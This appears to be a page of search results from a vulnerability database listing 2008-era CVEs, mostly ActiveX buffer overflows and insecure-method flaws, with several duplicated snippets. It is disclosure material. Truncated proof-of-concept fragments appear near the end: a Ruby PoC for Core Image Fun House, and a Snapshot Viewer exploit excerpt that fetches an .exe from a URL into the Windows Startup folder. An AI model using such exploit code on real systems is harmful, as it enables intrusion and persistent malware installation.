4968 matches found
CVE-2008-4771
CVE-2008-4771 describes a stack-based buffer overflow in the VATDecoder.VatCtrl.1 ActiveX control across multiple products (4xem VatCtrl Class VATDecoder.dll 1.0.0.27/1.0.0.51; D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5; Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39), ...
CVE-2008-4771
Stack-based buffer overflow in VATDecoder.VatCtrl.1 ActiveX control in 1 4xem VatCtrl Class VATDecoder.dll 1.0.0.27 and 1.0.0.51, 2 D-Link MPEG4 SHM Audio Control VAPGDecoder.dll 1.7.0.5, 3 Vivotek RTSP MPEG4 SP Control RtspVapgDecoderNew.dll 2.0.0.39, and possibly other products, allows remote...
CVE-2008-4749
Multiple insecure method vulnerabilities in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allow remote attackers to overwrite arbitrary files via 1 the LogFile property and ClearLogFile method, and 2 the SaveToFile method...
CVE-2008-4750
Stack-based buffer overflow in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allows remote attackers to execute arbitrary code via a long LogFile property...
Design/Logic Flaw
Multiple insecure method vulnerabilities in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allow remote attackers to overwrite arbitrary files via 1 the LogFile property and ClearLogFile method, and 2 the SaveToFile method...
CVE-2008-4749
Multiple insecure method vulnerabilities in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allow remote attackers to overwrite arbitrary files via 1 the LogFile property and ClearLogFile method, and 2 the SaveToFile method...
CVE-2008-4750
Stack-based buffer overflow in the VImpX.VImpAX ActiveX control VImpX.ocx 4.8.8.0 in DB Software Laboratory VImp X, possibly 4.7.7, allows remote attackers to execute arbitrary code via a long LogFile property...
CVE-2008-4729
Stack-based buffer overflow in Hummingbird.XWebHostCtrl.1 ActiveX control hclxweb.dll in Hummingbird Xweb ActiveX Control 13.0 and earlier allows remote attackers to execute arbitrary code via a long PlainTextPassword property. NOTE: code execution might not be possible in 13.0...
Buffer overflow
Buffer overflow in the ActiveX control DartFtp.dll in Dart Communications PowerTCP FTP for ActiveX 2.0.2 0 allows remote attackers to execute arbitrary code via a long SecretKey property...
Heap overflow
Heap-based buffer overflow in QvodInsert.QvodCtrl.1 ActiveX control QvodInsert.dll in QVOD Player before 2.1.5 build 0053 allows remote attackers to execute arbitrary code via a long URL property. NOTE: some of these details are obtained from third party information...
BOM characters, low surrogates stripped from JavaScript before execution — Mozilla
Microsoft developer Dave Reed reported that certain BOM characters are stripped from JavaScript code before it is executed. This can lead to code, which would otherwise be treated as part of a quoted string, to be executed. The issue could potentially be used by an attacker to bypass or evade...
Code injection
Unspecified vulnerability in Novell iManager before 2.7 SP1 2.7.1 allows remote attackers to delete Plug-in Studio created Property Book Pages via unknown vectors...
CVE-2008-3488
Unspecified vulnerability in Novell iManager before 2.7 SP1 2.7.1 allows remote attackers to delete Plug-in Studio created Property Book Pages via unknown vectors...
CVE-2008-3488
CVE-2008-3488 affects Novell iManager prior to 2.7 SP1 (2.7.1). An unspecified remote vulnerability allows an attacker to delete Property Book Pages created with Plug-in Studio. Impact is unauthorized deletion of those pages; exploitation details are not disclosed in the provided documents. Remed...
CVE-2008-3488
Unspecified vulnerability in Novell iManager before 2.7 SP1 2.7.1 allows remote attackers to delete Plug-in Studio created Property Book Pages via unknown vectors...
Novell iManager < 2.7 SP1 Property Book Pages Security Bypass
Binary data 4618.prm...
RealNetworks RealPlayer rmoc3260 ActiveX Control Memory Corruption Vulnerability
This vulnerability allows remote attackers to execute code on vulnerable installations of RealPlayer. User interaction is required in that a user must visit a malicious web site. The specific flaw exists in the rmoc3260 ActiveX control exposed through the following CLSIDs:...
Core Image Fun House <= 2.0 Arbitrary Code Execution PoC (OSX)
No description provided by source. !/usr/bin/ruby Copyright c Netragard, LLC. [email protected] /Developer/Applications/Graphics Tools/Core Image Fun House.app /Contents/MacOS/Core Image Fun House gdb x/10s 0xbfffddf7 0xbfffddf7: 'Z' repeats 101 times, "DCBA center" 2007-07-10 21:15:34.573 Cor...
Core Image Fun House 2.0 (OSX) - Arbitrary Code Execution (PoC)
!/usr/bin/ruby Copyright c Netragard, LLC. [email protected] /Developer/Applications/Graphics Tools/Core Image Fun House.app /Contents/MacOS/Core Image Fun House gdb x/10s 0xbfffddf7 0xbfffddf7: 'Z' , "DCBA center" 2007-07-10 21:15:34.573 Core Image Fun House1061 CFLog 0:...
The Microsoft Office Snapshot Viewer ActiveX Exploit-vulnerability warning-the black bar safety net
Source: http://hi.baidu.com/cloie/ Today someone made a Snapshot Viewer of the ADV, combined with the CERT that dranzer. pdf, to reproduce the vulnerability EXP: the var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/"Start"菜单 / 程序 / 启动 /test.exe'; obj...